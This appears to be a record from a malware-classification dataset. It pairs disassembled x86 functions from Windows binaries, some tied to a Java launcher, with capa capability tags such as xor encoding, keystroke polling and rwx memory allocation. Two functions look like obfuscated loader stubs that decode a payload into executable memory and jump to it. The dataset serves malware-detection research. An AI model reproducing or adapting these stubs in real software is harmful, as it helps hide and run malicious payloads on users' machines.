joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10014100
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x1001410f
pop dword [ebp - 0x18]
mov eax, 0xf1da9929
add eax, 0x1e26a7e6
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0xd9f3cd54
add dword [ebp - 0x28], 0x745e77f7
mov dword [ebp - 0x24], 0xaa0acd3
sub dword [ebp - 0x24], 0xd86d608e
mov dword [ebp - 0x20], 0x6c467f15
add dword [ebp - 0x20], 0xe005c519
mov dword [ebp - 0x1c], 0x40693d1b
add dword [ebp - 0x1c], 0xbf96c2e5
lea eax, [ebp - 0x28]
push eax
mov eax, 0x786ab037
add eax, 0x9796e005
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0xc0802f77
add dword [ebp - 0x28], 0xb3f239df
mov dword [ebp - 0x24], 0xeeeb1e1a
sub dword [ebp - 0x24], 0xad7ebca5
mov dword [ebp - 0x20], 0x57241fac
sub dword [ebp - 0x20], 0xf3b4b340
mov dword [ebp - 0x1c], 0xaf78a2f6
sub dword [ebp - 0x1c], 0xaf78a2f6
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x389ea
push 0
call eax
mov ecx, 0x897ae58e
sub ecx, 0x897a9570
mov ebx, eax
mov esi, 0x10022800
add esi, dword [ebp - 0x18]
mov edi, 0xd5ec8f3a
mov dword [ebp - 8], 0xef88320a
mov edx, dword [esi]
add dword [ebp - 0x14], ecx
add edx, edi
xor dword [ebp - 0x10], 0x8404f63c
mov dword [ebx], edx
sub dword [ebp - 0xc], 0x49f32fae
add ebx, 0x4775a5d5
add ebx, 0xb88a5a2f
add esi, 4
loop 0x10014220
add eax, 0x1334b
xor ebx, ebx
add ebx, eax
add eax, 0xcaad743a
add eax, 0x35528bcb
mov ecx, 0xebfe5d4f
sub ecx, 0xdbfe5d4f
add ecx, dword [ebp - 0x18]
call ebx
leave
ret

Function at 0x10014d90
Capabilities:
Terminate process

Disassembly:
mov eax, dword [0x1001f83c]
push dword [esp + 4]
mov eax, dword [eax]
push eax
mov ecx, dword [eax]
mov eax, dword [ecx + 0x234]
call eax
test eax, eax
je 0x10014dd2
push 0x51b
push str.hprof_util.c
push str.Unable_to_get_necessary_JVMTI_capabilities.
push 0
push 0
call fcn.10005090
add esp, 0x14
mov dword [esp + 4], 1
jmp fcn.10005080
ret

Function at 0x10016400
Capabilities:
Terminate process

Disassembly:
mov edx, dword [esp + 4]
xorps xmm0, xmm0
push edx
movups xmmword [edx], xmm0
mov eax, dword [0x1001f83c]
mov eax, dword [eax]
push eax
mov ecx, dword [eax]
mov eax, dword [ecx + 0x22c]
call eax
test eax, eax
je 0x10016449
push 0x50e
push str.hprof_util.c
push str.Unable_to_get_potential_JVMTI_capabilities.
push 0
push 0
call fcn.10005090
add esp, 0x14
mov dword [esp + 4], 1
jmp fcn.10005080
ret
Function at 0x10008a50
Capabilities:
Encode data using xor

Disassembly:
push ebx
push edi
push esi
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
cmp dword [0x100e9758], 0
jne 0x10008b7c
movdqa xmm6, xmmword [0x10034980]
mov eax, 0xfffffc00
movdqa xmm1, xmmword [0x10034990]
movdqa xmm7, xmmword [0x100349f0]
nop word cs:[eax + eax]
movdqa xmm2, xmm6
psrld xmm2, 1
movdqa xmm0, xmm6
pslld xmm0, 0x1f
psrad xmm0, 0x1f
pand xmm0, xmm1
pxor xmm0, xmm2
movdqa xmm3, xmm0
psrld xmm3, 1
movdqa xmm2, xmm6
pslld xmm2, 0x1e
psrad xmm2, 0x1f
pand xmm2, xmm1
pxor xmm2, xmm3
movdqa xmm3, xmm6
pslld xmm3, 0x1d
psrad xmm3, 0x1f
pand xmm3, xmmword [0x100349a0]
movdqa xmm4, xmm6
pslld xmm4, 0x1c
psrad xmm4, 0x1f
pand xmm4, xmmword [0x100349b0]
pxor xmm4, xmm3
movdqa xmm5, xmm6
pslld xmm5, 0x1b
psrad xmm5, 0x1f
pand xmm5, xmmword [0x100349c0]
pxor xmm5, xmm4
movdqa xmm3, xmm6
pslld xmm3, 0x1a
psrad xmm3, 0x1f
pand xmm3, xmmword [0x100349d0]
pxor xmm3, xmm5
movdqa xmm4, xmm2
psrld xmm4, 6
pxor xmm3, xmm4
pslld xmm2, 0x1a
psrad xmm2, 0x1f
pand xmm2, xmm1
pxor xmm2, xmm3
pslld xmm0, 0x1a
psrad xmm0, 0x1f
pand xmm0, xmmword [0x100349e0]
pxor xmm2, xmm0
movdqu xmmword [eax + 0x100e9b54], xmm2
paddd xmm6, xmm7
add eax, 0x10
jne 0x10008a90
mov esi, dword [esp + 0x10]
not ecx
test edx, edx
jle 0x10008b97
test dl, 1
jne 0x10008be4
mov edi, edx
cmp edx, 1
jne 0x10008c03
jmp 0x10008c42
movzx edx, byte [esi]
test dl, dl
je 0x10008c40
add esi, 2
mov ebx, ecx
jmp 0x10008bcd
movzx edi, dl
mov eax, ebx
shr eax, 8
movzx ebx, bl
xor ebx, edi
xor eax, dword [ebx*4 + 0x100e9754]
inc esi
mov dl, dh
mov ebx, eax
test dh, dh
je 0x10008c42
mov dh, byte [esi - 1]
cmp dl, 0x23
jne 0x10008bb0
cmp dh, 0x23
jne 0x10008bb0
cmp byte [esi], 0x23
cmove ebx, ecx
mov dh, 0x23
jmp 0x10008bb0
lea edi, [edx - 1]
mov eax, ecx
shr eax, 8
movzx ecx, cl
movzx ebx, byte [esi]
inc esi
xor ebx, ecx
xor eax, dword [ebx*4 + 0x100e9754]
mov ecx, eax
cmp edx, 1
je 0x10008c42
xor edx, edx
mov eax, ecx
nop word [eax + eax]
movzx ecx, al
shr eax, 8
movzx ebx, byte [esi + edx]
xor ebx, ecx
xor eax, dword [ebx*4 + 0x100e9754]
movzx ecx, al
shr eax, 8
movzx ebx, byte [esi + edx + 1]
xor ebx, ecx
xor eax, dword [ebx*4 + 0x100e9754]
add edx, 2
cmp edi, edx
jne 0x10008c10
jmp 0x10008c42
mov eax, ecx
not eax
pop esi
pop edi
pop ebx
ret
Function at 0x10009330
Capabilities:
Read file on windows

Disassembly:
push ebp
push ebx
push edi
push esi
push eax
mov ebp, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
test ebp, ebp
je 0x1000934c
mov dword [ebp], 0
push ecx
push eax
call fcn.100090e0
add esp, 8
xor esi, esi
test eax, eax
je 0x1000937a
mov edi, eax
push 2
push 0
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 0xc
test eax, eax
je 0x10009384
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
mov eax, esi
add esp, 4
pop esi
pop edi
pop ebx
pop ebp
ret
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
add esp, 4
cmp eax, 0xffffffff
je 0x10009370
mov ebx, eax
push 0
push 0
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 0xc
test eax, eax
jne 0x10009370
mov eax, dword [esp + 0x24]
add eax, ebx
inc dword [0x100e9b5c]
push dword [0x100e9b60]
push eax
call dword [0x100e78dc]
add esp, 8
test eax, eax
je 0x10009370
push edi
push ebx
push 1
push eax
mov dword [esp + 0x10], eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
cmp eax, ebx
jne 0x10009412
mov esi, dword [esp]
mov ecx, dword [esp + 0x24]
test ecx, ecx
jle 0x100093f8
mov eax, esi
add eax, ebx
push ecx
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
test ebp, ebp
je 0x1000937a
mov dword [ebp], ebx
jmp 0x1000937a
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
dec dword [0x100e9b5c]
push dword [0x100e9b60]
push dword [esp + 4]
call dword [0x100e78e0]
add esp, 8
jmp 0x1000937a
Function at 0x10009c60
Capabilities:
Encode data using xor

Disassembly:
push esi
mov edx, dword [esp + 8]
mov eax, dword [ecx + 0x1e0]
mov ecx, dword [ecx + 0x1e8]
mov eax, dword [ecx + eax*4 - 4]
cmp dword [0x100e9758], 0
jne 0x10009d8c
movdqa xmm6, xmmword [0x10034980]
mov ecx, 0xfffffc00
movdqa xmm1, xmmword [0x10034990]
movdqa xmm7, xmmword [0x100349f0]
nop
movdqa xmm2, xmm6
psrld xmm2, 1
movdqa xmm0, xmm6
pslld xmm0, 0x1f
psrad xmm0, 0x1f
pand xmm0, xmm1
pxor xmm0, xmm2
movdqa xmm3, xmm0
psrld xmm3, 1
movdqa xmm2, xmm6
pslld xmm2, 0x1e
psrad xmm2, 0x1f
pand xmm2, xmm1
pxor xmm2, xmm3
movdqa xmm3, xmm6
pslld xmm3, 0x1d
psrad xmm3, 0x1f
pand xmm3, xmmword [0x100349a0]
movdqa xmm4, xmm6
pslld xmm4, 0x1c
psrad xmm4, 0x1f
pand xmm4, xmmword [0x100349b0]
pxor xmm4, xmm3
movdqa xmm5, xmm6
pslld xmm5, 0x1b
psrad xmm5, 0x1f
pand xmm5, xmmword [0x100349c0]
movdqa xmm3, xmm6
pslld xmm3, 0x1a
psrad xmm3, 0x1f
pand xmm3, xmmword [0x100349d0]
pxor xmm3, xmm5
pxor xmm3, xmm4
movdqa xmm4, xmm2
psrld xmm4, 6
pxor xmm3, xmm4
pslld xmm2, 0x1a
psrad xmm2, 0x1f
pand xmm2, xmm1
pxor xmm2, xmm3
pslld xmm0, 0x1a
psrad xmm0, 0x1f
pand xmm0, xmmword [0x100349e0]
pxor xmm2, xmm0
movdqu xmmword [ecx + 0x100e9b54], xmm2
paddd xmm6, xmm7
add ecx, 0x10
jne 0x10009ca0
not eax
mov ecx, eax
shr ecx, 8
xor eax, edx
movzx eax, al
xor ecx, dword [eax*4 + 0x100e9754]
mov eax, edx
shr eax, 8
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x100e9754]
mov eax, edx
shr eax, 0x10
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x100e9754]
movzx esi, cl
mov eax, ecx
shr eax, 8
shr edx, 0x18
xor edx, esi
xor eax, dword [edx*4 + 0x100e9754]
not eax
mov ecx, dword [0x100e9750]
cmp dword [ecx + 0x1940], eax
jne 0x10009df2
mov byte [ecx + 0x194c], 1
pop esi
ret 4
Function at 0x1000e810
Capabilities:
Write file on windows

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
mov ebx, dword [0x100e9750]
mov dword [ebx + 0x297c], 0
test ecx, ecx
je 0x1000e901
mov dword [esp], ecx
inc dword [0x100e9b5c]
push dword [0x100e9b60]
push 8
call dword [0x100e78dc]
add esp, 8
mov edi, eax
push dword [0x100e9b60]
push 0
call dword [0x100e78e0]
add esp, 8
mov dword [esp + 0xc], edi
mov dword [esp + 8], 8
mov dword [esp + 4], 1
mov byte [edi], 0
cmp dword [ebx + 0x298c], 0
jle 0x1000e8af
xor edi, edi
lea ebp, [esp + 4]
xor esi, esi
nop word cs:[eax + eax]
mov eax, dword [ebx + 0x2994]
lea ecx, [eax + edi]
push ebp
push ecx
push ebx
call dword [eax + edi + 0x10]
add esp, 0xc
inc esi
add edi, 0x18
cmp esi, dword [ebx + 0x298c]
jl 0x1000e890
mov ebx, dword [esp + 4]
mov edi, dword [esp + 0xc]
push 0x1003a8a6
push dword [esp + 4]
call fcn.100090e0
add esp, 8
test eax, eax
je 0x1000e8e7
mov esi, eax
dec ebx
push eax
push ebx
push 1
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
test edi, edi
je 0x1000e901
dec dword [0x100e9b5c]
push dword [0x100e9b60]
push edi
call dword [0x100e78e0]
add esp, 8
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x100314e0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x30
cmp dword [0x100eba78], 0
jne 0x100314f9
call fcn.100313d0
call fcn.1000aff0
mov esi, eax
lea eax, [esp + 0x20]
push eax
push dword [0x100eba64]
call dword [sym.imp.USER32.dll_GetClientRect]
movq xmm0, qword [esp + 0x20]
movq xmm1, qword [esp + 0x28]
psubd xmm1, xmm0
cvtdq2ps xmm0, xmm1
movlps qword [esi], xmm0
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
mov edx, eax
sub edx, dword [0x100eba70]
mov edi, ecx
sbb edi, dword [0x100eba74]
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movq qword [esp + 0x18], xmm1
fild qword [esp + 0x18]
fstp dword [esp]
movss xmm0, dword [esp]
fild qword [0x100eba68]
fstp dword [esp + 4]
divss xmm0, dword [esp + 4]
movss dword [esi + 8], xmm0
mov dword [0x100eba74], ecx
mov dword [0x100eba70], eax
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
push 0x11
call edi
movzx eax, ax
shr eax, 0xf
mov byte [esi + 0xe5], al
push 0x10
call edi
movzx eax, ax
shr eax, 0xf
mov byte [esi + 0xe6], al
push 0x12
call edi
movzx eax, ax
shr eax, 0xf
mov byte [esi + 0xe7], al
mov byte [esi + 0xe8], 0
cmp byte [esi + 0x363], 0
je 0x100315fe
movsd xmm0, qword [esi + 0xcc]
cvttps2dq xmm0, xmm0
movlps qword [esp + 8], xmm0
lea eax, [esp + 8]
push eax
push dword [0x100eba64]
call dword [sym.imp.USER32.dll_ClientToScreen]
push dword [esp + 0xc]
push dword [esp + 0xc]
call dword [sym.imp.USER32.dll_SetCursorPos]
cmp byte [esi + 0xe4], 0
je 0x1003160f
push 0
call dword [sym.imp.USER32.dll_SetCursor]
call fcn.1000b360
lea esp, [ebp - 8]
pop esi
pop edi
pop ebp
ret
Function at 0x10031ec0
Capabilities:
Resume thread

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
mov eax, dword [0x100eba90]
test eax, eax
je 0x10031ef4
mov edi, ecx
xor ebx, ebx
mov ebp, 0x14
mov ecx, dword [0x100eba88]
nop
mov edx, dword [ecx + ebp]
shr edx, 1
and edx, 1
cmp edx, edi
jne 0x10031efb
inc ebx
add ebp, 0x2c
cmp eax, ebx
jne 0x10031ee0
xor esi, esi
jmp 0x10031fca
xor eax, eax
test edi, edi
setne al
lea ecx, [esp + 4]
mov edx, 0xffffffff
push eax
call fcn.100321f0
add esp, 4
mov esi, eax
test eax, eax
jne 0x10031fca
mov eax, dword [0x100eba90]
xor esi, esi
cmp ebx, eax
jae 0x10031f70
mov ecx, dword [0x100eba88]
jmp 0x10031f48
inc ebx
add ebp, 0x2c
cmp ebx, eax
jae 0x10031f70
mov edx, dword [ecx + ebp]
shr edx, 1
and edx, 1
cmp edx, edi
je 0x10031f40
mov ecx, ebx
mov edx, edi
call fcn.10032590
test eax, eax
jne 0x10031f6e
mov ecx, dword [0x100eba88]
mov eax, dword [0x100eba90]
jmp 0x10031f40
mov esi, eax
mov ebx, dword [esp + 4]
test ebx, ebx
je 0x10031fca
mov dword [esp], esi
mov ebp, dword [esp + 0xc]
test ebp, ebp
je 0x10031fb8
xor esi, esi
jmp 0x10031f95
inc esi
cmp ebp, esi
je 0x10031fb8
push dword [ebx + esi*4]
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
test eax, eax
je 0x10031f90
mov edi, eax
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10031f90
push ebx
push 0
push dword [0x100eba84]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, dword [esp]
mov eax, esi
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10032590
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0xc
mov ebx, edx
mov esi, dword [0x100eba88]
imul ebp, ecx, 0x2c
mov eax, dword [esi + ebp]
movzx ecx, byte [esi + ebp + 0x14]
xor edx, edx
and ecx, 1
sete dl
lea edx, [edx + edx*4]
lea edi, [eax + edx]
add edi, 0xfffffffb
lea eax, [ecx + ecx + 5]
mov ecx, esp
push ecx
push 0x40
mov dword [esp + 0x10], eax
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x10032603
lea ecx, [esi + ebp]
add ecx, 0x14
test ebx, ebx
mov dword [esp + 4], ecx
je 0x1003260a
mov byte [edi], 0xe9
mov eax, dword [esi + ebp + 4]
sub eax, edi
add eax, 0xfffffffb
mov dword [edi + 1], eax
test byte [ecx], 1
mov edx, esp
je 0x1003262c
add esi, ebp
mov eax, dword [esi]
mov word [eax], 0xf9eb
jmp 0x1003262c
mov eax, 0xa
jmp 0x10032667
test byte [ecx], 1
lea eax, [esi + ebp + 0xc]
mov edx, esp
jne 0x10032622
movzx ecx, byte [eax + 4]
mov byte [edi + 4], cl
mov eax, dword [eax]
mov dword [edi], eax
jmp 0x1003262c
mov ecx, dword [eax]
mov eax, dword [eax + 3]
mov dword [edi + 3], eax
mov dword [edi], ecx
push edx
push dword [esp + 4]
mov esi, dword [esp + 0x10]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov edx, dword [esp + 4]
movzx eax, byte [edx]
and bl, 1
mov ecx, ebx
add cl, bl
and al, 0xf9
or al, cl
shl bl, 2
or bl, al
mov byte [edx], bl
xor eax, eax
add esp, 0xc
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10032690
Capabilities:
Resume thread

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
mov dword [esp], edx
mov ebx, ecx
xor esi, esi
mov ebp, 1
xor eax, eax
lock cmpxchg dword [0x100eba80], ebp
je 0x100326d8
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
nop word cs:[eax + eax]
xor eax, eax
cmp esi, 0x20
setae al
push eax
call edi
inc esi
xor eax, eax
lock cmpxchg dword [0x100eba80], ebp
jne 0x100326c0
cmp dword [0x100eba84], 0
je 0x10032721
test ebx, ebx
je 0x1003272b
mov ecx, dword [0x100eba90]
mov esi, 4
test ecx, ecx
je 0x100327ce
mov eax, dword [0x100eba88]
neg ecx
xor ebp, ebp
nop word cs:[eax + eax]
cmp dword [eax], ebx
je 0x1003273a
dec ebp
add eax, 0x2c
cmp ecx, ebp
jne 0x10032710
jmp 0x100327ce
mov esi, 2
jmp 0x100327ce
mov ecx, dword [esp]
call fcn.10031ec0
mov esi, eax
jmp 0x100327ce
cmp ebp, 1
je 0x100327ce
mov eax, dword [eax + 0x14]
shr eax, 1
and eax, 1
mov edi, dword [esp]
cmp eax, edi
jne 0x1003275c
xor esi, esi
cmp edi, 1
adc esi, 5
jmp 0x100327ce
neg ebp
lea ecx, [esp + 4]
mov edx, ebp
push 1
call fcn.100321f0
add esp, 4
mov esi, eax
test eax, eax
jne 0x100327ce
mov ecx, ebp
mov edx, edi
call fcn.10032590
mov esi, eax
mov ebx, dword [esp + 4]
test ebx, ebx
je 0x100327ce
mov eax, dword [esp + 0xc]
mov dword [esp], eax
test eax, eax
je 0x100327bf
xor ebp, ebp
jmp 0x1003279c
inc ebp
cmp dword [esp], ebp
je 0x100327bf
push dword [ebx + ebp*4]
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
test eax, eax
je 0x10032796
mov edi, eax
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10032796
push ebx
push 0
push dword [0x100eba84]
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor eax, eax
xchg dword [0x100eba80], eax
mov eax, esi
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x401000
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
push str._JAVA_LAUNCHER_DEBUG
call fcn.00408d33
pop ecx
test eax, eax
je 0x401046
push str.Windows_original_main_args:_n
call fcn.00408bef
xor esi, esi
pop ecx
cmp dword [0x425628], esi
jle 0x401046
mov eax, dword [0x42562c]
push dword [eax + esi*4]
push esi
push str.wwwd_args__d____s_n
call fcn.00408bef
add esp, 0xc
inc esi
cmp esi, dword [0x425628]
jl 0x401027
call dword [sym.imp.kernel32.dll_GetCommandLineA]
push eax
call fcn.0040c830
call fcn.0040392e
mov edi, eax
lea eax, [edi*4 + 4]
push eax
call fcn.004039b0
pop ecx
pop ecx
mov esi, eax
call fcn.00403934
xor ecx, ecx
test edi, edi
jle 0x401080
mov edx, dword [eax + ecx*8]
mov dword [esi + ecx*4], edx
inc ecx
cmp ecx, edi
jl 0x401075
mov eax, dword [0x424010]
and dword [esi + ecx*4], 0
mov ebx, eax
test eax, eax
jne 0x401091
mov ebx, dword [esi]
mov ecx, dword [0x42400c]
test ecx, ecx
jne 0x40109d
mov ecx, dword [esi]
mov eax, dword [0x425420]
push 0
push 0
push 1
test eax, eax
setne dl
movzx edx, dl
push edx
push ebx
push ecx
push 0x41c24c
push 0x41c23c
push dword [0x425424]
push 1
push eax
push 1
push esi
push edi
call fcn.00403472
add esp, 0x38
pop edi
pop esi
pop ebx
ret
Function at 0x403e2f
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x9c]
sub esp, 0x11c
mov eax, dword [0x424070]
xor eax, ebp
mov dword [ebp + 0x98], eax
mov eax, dword [ebp + 0xa4]
push ebx
push esi
push edi
mov edi, dword [sym.imp.advapi32.dll_RegEnumKeyA]
mov esi, 0x104
push esi
lea ecx, [ebp - 0x6c]
push ecx
xor ebx, ebx
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0xa8]
push ebx
push eax
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], ebx
call edi
test eax, eax
jne 0x403ed2
mov eax, dword [ebp - 0x80]
push dword [eax + 8]
inc dword [ebp - 0x74]
lea eax, [ebp - 0x6c]
push eax
call fcn.0040c830
pop ecx
pop ecx
test eax, eax
je 0x403ebb
test ebx, ebx
je 0x403eaf
lea eax, [ebp - 0x6c]
push ebx
push eax
call fcn.0040c830
pop ecx
pop ecx
test eax, eax
jle 0x403ebb
push ebx
call fcn.00403a18
pop ecx
lea eax, [ebp - 0x6c]
push eax
call fcn.004039f7
pop ecx
mov ebx, eax
push esi
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0x74]
push dword [ebp - 0x78]
call edi
test eax, eax
je 0x403e7c
xor edi, edi
cmp ebx, edi
jne 0x403ed6
xor eax, eax
jmp 0x403f42
lea eax, [ebp - 0x70]
push eax
push 0x20019
push edi
push ebx
push dword [ebp - 0x78]
call dword [sym.imp.advapi32.dll_RegOpenKeyExA]
push ebx
test eax, eax
je 0x403f05
call fcn.00403a18
pop ecx
cmp dword [ebp - 0x70], edi
je 0x403ed2
push dword [ebp - 0x70]
call dword [sym.imp.advapi32.dll_RegCloseKey]
jmp 0x403ed2
call fcn.00403a18
pop ecx
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x6c]
push eax
push edi
push edi
push str.JavaHome
push dword [ebp - 0x70]
mov dword [ebp - 0x7c], esi
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
test eax, eax
jne 0x403ef5
cmp dword [ebp - 0x70], edi
je 0x403f38
push dword [ebp - 0x70]
call dword [sym.imp.advapi32.dll_RegCloseKey]
lea eax, [ebp - 0x6c]
push eax
call fcn.004039f7
pop ecx
mov ecx, dword [ebp + 0x98]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004098e8
add ebp, 0x9c
leave
ret
Function at 0x408f37
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x422550
call fcn.0040dcb0
xor esi, esi
cmp dword [0x4274a8], esi
jne 0x408df7
push esi
push esi
push 1
push esi
call dword [sym.imp.kernel32.dll_HeapSetInformation]
mov eax, 0x5a4d
cmp word [0x400000], ax
je 0x408e0a
mov dword [ebp - 0x1c], esi
jmp 0x408e40
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x408e05
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x408e05
cmp dword [eax + 0x400074], 0xe
jbe 0x408e05
xor ecx, ecx
cmp dword [eax + 0x4000e8], esi
setne cl
mov dword [ebp - 0x1c], ecx
call fcn.0040f80c
test eax, eax
jne 0x408e51
push 0x1c
call fcn.0040c830
pop ecx
call fcn.0040d831
test eax, eax
jne 0x408e62
push 0x10
call fcn.0040c830
pop ecx
call fcn.0040dae6
mov dword [ebp - 4], esi
call fcn.0040c830
test eax, eax
jns 0x408e7b
push 0x1b
call fcn.0040c830
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x4274a4], eax
call fcn.0040c830
mov dword [0x42565c], eax
call fcn.0040c830
test eax, eax
jns 0x408ea1
push 8
call fcn.0040c830
pop ecx
call fcn.0040f1ff
test eax, eax
jns 0x408eb2
push 9
call fcn.0040c830
pop ecx
push 1
call fcn.0040c830
pop ecx
cmp eax, esi
je 0x408ec5
push eax
call fcn.0040c830
pop ecx
mov eax, dword [0x425634]
mov dword [0x425638], eax
push eax
push dword [0x42562c]
push dword [0x425628]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], esi
jne 0x408ef2
push eax
call fcn.0040c830
call fcn.00408bb3
jmp 0x408f27
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.0040dcf5
ret
call fcn.0040c830
jmp 0x408dd6

Function at 0x4098e8
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x424070]
jne 0x4098f2
repz ret
jmp fcn.004114ed
Function at 0x40c830
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x40c83f
pop dword [ebp - 0x3c]
mov eax, 0xdb457b66
add eax, 0x24fb4cd9
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x8a289ff6
sub dword [ebp - 0x4c], 0x3bd65aab
mov dword [ebp - 0x48], 0xeaad87c4
add dword [ebp - 0x48], 0x4785c481
mov dword [ebp - 0x44], 0x29e7a154
sub dword [ebp - 0x44], 0xdd9b5d26
mov dword [ebp - 0x40], 0x6ac0f080
add dword [ebp - 0x40], 0x953f0f80
lea eax, [ebp - 0x4c]
push eax
mov eax, 0xce5bdc13
sub eax, 0xce1a1bc3
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0x22f99335
sub dword [ebp - 0x4c], 0xae8729df
mov dword [ebp - 0x48], 0x5cebc13e
sub dword [ebp - 0x48], 0x1b7f5fc9
mov dword [ebp - 0x44], 0x3bf1b68c
add dword [ebp - 0x44], 0x277db5e0
mov dword [ebp - 0x40], 0x7d3264d8
sub dword [ebp - 0x40], 0x7d3264d8
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0x2ded2ead
sub eax, 0x2dab6e61
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x428c2
push 0
call eax
mov ecx, 0x6407
mov esi, eax
mov edx, 0x432a00
add edx, dword [ebp - 0x3c]
mov ebx, 0x2b24a976
mov dword [ebp - 0x14], 0xf3f363b6
mov edi, dword [edx]
xor dword [ebp - 0x1c], 0xb9bc6799
xor edi, ebx
mov dword [ebp - 0x14], 0xc1939818
mov dword [esi], edi
sub dword [ebp - 0x28], ebx
add esi, 4
add edx, 4
loop 0x40c94f
add eax, 0xddb91c8c
add eax, 0x22486663
xor ebx, ebx
add ebx, eax
add eax, 0x73cae9a3
sub eax, 0x73cae99e
mov ecx, 0xfab7c42e
add ecx, 0x5883bd2
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret